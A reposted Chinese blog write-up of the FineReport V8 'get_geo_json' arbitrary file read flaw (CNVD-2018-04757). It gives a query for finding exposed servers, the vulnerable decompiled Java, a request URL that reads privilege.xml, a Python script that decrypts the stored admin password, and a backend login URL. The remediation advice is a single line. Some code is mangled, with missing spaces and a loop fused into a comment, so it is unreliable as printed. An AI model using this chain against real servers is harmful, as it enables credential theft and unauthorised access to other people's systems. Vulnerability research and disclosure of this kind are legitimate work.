0


帆软报表 V8 get_geo_json 任意文件读取漏洞

帆软报表 V8 get_geo_json 任意文件读取漏洞 CNVD-2018-04757

1.漏洞介绍

FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。

FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件

漏洞影响
FineReport < v8.0

搜索语法

body=“isSupportForgetPwd”

出现漏洞的文件为 fr-applet-8.0.jar

packagecom.fr.chart.web;importcom.fr.base.FRContext;importcom.fr.general.IOUtils;importcom.fr.stable.CodeUtils;importcom.fr.web.core.ActionNoSessionCMD;importcom.fr.web.utils.WebUtils;importjava.io.InputStream;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;publicclassChartGetFileContentActionextendsActionNoSessionCMD{publicChartGetFileContentAction(){}publicvoidactionCMD(HttpServletRequest var1,HttpServletResponse var2,String var3)throwsException{String var4 =CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1,"resourcepath"));if(!WebUtils.invalidResourcePath(var4)){InputStream var5 =FRContext.getCurrentEnv().readResource(var4);String var6 =IOUtils.inputStream2String(var5);
            var6 = var6.replace('\ufeff',' ');WebUtils.printAsString(var2, var6);}}publicStringgetCMD(){return"get_geo_json";}}

使用request将文件名传入 调用cjkDecode函数解密文件名

使用invalidResourcePath函数校验文件是否存在

最后使用readResource函数读取文件传输到浏览器上 默认目录为resources

其中的privilege.xml里面存储了后台的用户名密码

使用python写出的解密代码为

cipher ='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'#密文
PASSWORD_MASK_ARRAY =[19,78,10,15,100,213,43,23]#掩码
Password =""
cipher = cipher[3:]#截断三位后for i inrange(int(len(cipher)/4)):
    c1 =int("0x"+ cipher[i *4:(i +1)*4],16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i %8]
    Password = Password +chr(c2)print(Password)

2.漏洞利用

访问:

http://xxx.xxx.com:8081/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

在这里插入图片描述

使用python解密

在这里插入图片描述

可以看到用户密码都是admin

访问系统进行登录

http://xxx.xxx.com:8081/WebReport/ReportServer?op=fs

在这里插入图片描述

在这里插入图片描述

3.漏洞修复

升级到最新版本

标签: 安全

本文转载自: https://blog.csdn.net/huangyongkang666/article/details/128762993
版权归原作者 天猫来下凡 所有, 如有侵权,请联系我们删除。

“帆软报表 V8 get_geo_json 任意文件读取漏洞”的评论:

还没有评论